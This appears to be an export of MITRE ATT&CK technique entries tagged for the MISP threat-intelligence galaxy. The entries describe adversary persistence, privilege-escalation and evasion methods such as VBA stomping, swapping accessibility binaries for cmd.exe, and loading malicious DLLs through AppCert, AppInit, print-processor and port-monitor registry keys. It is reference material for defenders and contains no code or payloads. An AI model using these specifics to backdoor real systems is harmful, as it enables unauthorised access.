Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>\_VBA\_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft \_VBA\_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero's, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>\_VBA\_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)

The tag is: *misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007"*

## Accessibility Features - T1546.008

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `C:\Windows\System32\sethc.exe`, launched when the shift key is pressed five times and `C:\Windows\System32\utilman.exe`, launched when the Windows + U key combination is pressed. The `sethc.exe` program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](<https://attack.mitre.org/techniques/T1546/012>) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1021/001>) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`
- Narrator: `C:\Windows\System32\Narrator.exe`
- Display Switcher: `C:\Windows\System32\DisplaySwitch.exe`

- App Switcher: `C:\Windows\System32\AtBroker.exe`

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"*

## Web Services - T1584.006

Before compromising a victim, adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user’s access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](<https://attack.mitre.org/techniques/T1102>)) or [Exfiltration Over Web Service](<https://attack.mitre.org/techniques/T1567>). (Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1584.006"*

Table 3584. Table References

<a href="https://www.recordedfuture.com/turla-apt-infrastructure/">https://www.recordedfuture.com/turla-apt-infrastructure/</a>

## AppCert DLLs - T1546.009

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `AppCertDLLs` Registry key under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\` are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLogonW`, `CreateProcessWithTokenW`, or

`WinExec`. (Citation: Endgame Process Injection July 2017)

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

The tag is: *misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009"*

Table 3585. Table References

## LSASS Driver - T1547.008

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>)), an adversary can use LSA operations to continuously execute malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"*

Table 3586. Table References

## Shortcut Modification - T1547.009

Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or

executed when the shortcut is clicked or executed by a system startup process.

Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](<https://attack.mitre.org/techniques/T1036>) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009"*

Table 3587. Table References

Links
<a href="https://attack.mitre.org/techniques/T1547/009">https://attack.mitre.org/techniques/T1547/009</a>

## Digital Certificates - T1588.004

Before compromising a victim, adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](<https://attack.mitre.org/techniques/T1071/001>)) or even enabling [Man-in-the-Middle](<https://attack.mitre.org/techniques/T1557>) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](<https://attack.mitre.org/techniques/T1553/004>)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise)

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)

Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004"*

<https://www.recordedfuture.com/cobalt-strike-servers/>

## Scan Databases - T1596.005

Before compromising a victim, adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Exploit Public-Facing Application](<https://attack.mitre.org/techniques/T1190>)).

## Application Shimming - T1546.011

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- `%WINDIR%\AppPatch\sysmain.sdb` and
- `hkml\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb`

Custom databases are stored in:

- `%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom` and
- `hkml\software\microsoft\windows nt\currentversion\appcompatflags\custom`

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1548/002>) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011"*

## Plist Modification - T1547.011

Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as `/Library/Preferences` (which execute with elevated privileges) and `~/Library/Preferences` (which execute with a user's privileges).

Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan)

A specific plist used for execution at login is `com.apple.loginitems.plist`.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to "hide" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method `SMLoginItemSetEnabled` can be used to set Login Items, but scripting languages like [AppleScript](<https://attack.mitre.org/techniques/T1059/002>) can do this as well. (Citation: Adding Login Items)

## Print Processors - T1547.012

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\SYSTEM\ControlSet001\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver` Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the `GetPrintProcessorDirectory` API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May

2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012"*

## PowerShell Profile - T1546.013

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (`profile.ps1`) is a script that runs when [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) starts and can be used as a logon script to customize user environments.

[PowerShell](<https://attack.mitre.org/techniques/T1059/001>) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) drives to gain persistence. Every time a user opens a [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) session the modified script will be executed unless the `-NoProfile` flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

## Scheduled Task/Job - T1053

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).

## System Shutdown/Reboot - T1529

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](<https://attack.mitre.org/techniques/T1561/002>) or [Inhibit System Recovery](<https://attack.mitre.org/techniques/T1490>), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

## Virtualization/Sandbox Evasion - T1497

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) during automated discovery to shape follow-on behaviors.

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

## Data Obfuscation - T1001

Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"*

## Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](<https://attack.mitre.org/techniques/T1108>) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell - T1100"*

<a href="https://attack.mitre.org/techniques/T1020">https://attack.mitre.org/techniques/T1020</a>

## Hardware Additions - T1200

Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by

APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.

## Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"*

Data Compressed - T1002 has relationships with:

## Network Sniffing - T1040

Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network

interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](<https://attack.mitre.org/techniques/T1557/001>), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

## New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](<https://attack.mitre.org/techniques/T1036>). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](<https://attack.mitre.org/techniques/T1035>).

The tag is: *misp-galaxy:mitre-attack-pattern="New Service - T1050"*

New Service - T1050 has relationships with:

## Weaken Encryption - T1600

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](<https://attack.mitre.org/techniques/T1601>), [Reduce Key Space](<https://attack.mitre.org/techniques/T1600/001>), and [Disable Crypto Hardware](<https://attack.mitre.org/techniques/T1600/002>), an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)

## Binary Padding - T1009

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"*

## Brute Force - T1110

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

The tag is: *misp-galaxy:mitre-attack-pattern="Brute Force - T1110"*

## Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](<https://attack.mitre.org/software/S0075>) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](<https://attack.mitre.org/techniques/T1012>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Query Registry - T1012"*

Table 3611. Table References

<a href="https://en.wikipedia.org/wiki/Windows_Registry">https://en.wikipedia.org/wiki/Windows_Registry</a>

## Remote Services - T1021

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)

## Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

## AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit\_DLLs value in the Registry keys `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows` or `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows` are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"*

## Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `C:\Windows\System32` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"*

Port Monitors - T1013 has relationships with:

# Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `C:\Windows\System32\sethc.exe`, launched when the shift key is pressed five times and `C:\Windows\System32\utilman.exe`, launched when the Windows + U key combination is pressed. The `sethc.exe` program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1076>) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`
- Narrator: `C:\Windows\System32\Narrator.exe`
- Display Switcher: `C:\Windows\System32\DisplaySwitch.exe`
- App Switcher: `C:\Windows\System32\AtBroker.exe`

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"*

Accessibility Features - T1015 has relationships with:

## Clipboard Modification - T1510

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)

Adversaries may use [Clipboard Modification](<https://attack.mitre.org/techniques/T1510>) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](<https://attack.mitre.org/techniques/T1510>) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

## Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by `< >`. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as `<code>/Library/Preferences</code>` (which execute with elevated privileges) and `<code>~/Library/Preferences</code>` (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"*

Plist Modification - T1150 has relationships with:

## Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the `<code>/etc/systemd/system</code>` and `<code>/usr/lib/systemd/system</code>` directories and have the file extension `<code>.service</code>`. Each service unit file may contain numerous directives that can execute system commands.

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the `/etc/systemd/system` and `/usr/lib/systemd/system` directories, low privilege users can create/modify service unit files in directories such as `~/.config/systemd/user` to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

## Shared Webroot - T1051

**This technique has been deprecated and should no longer be used.**

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft

Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"*

## Native API - T1106

Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

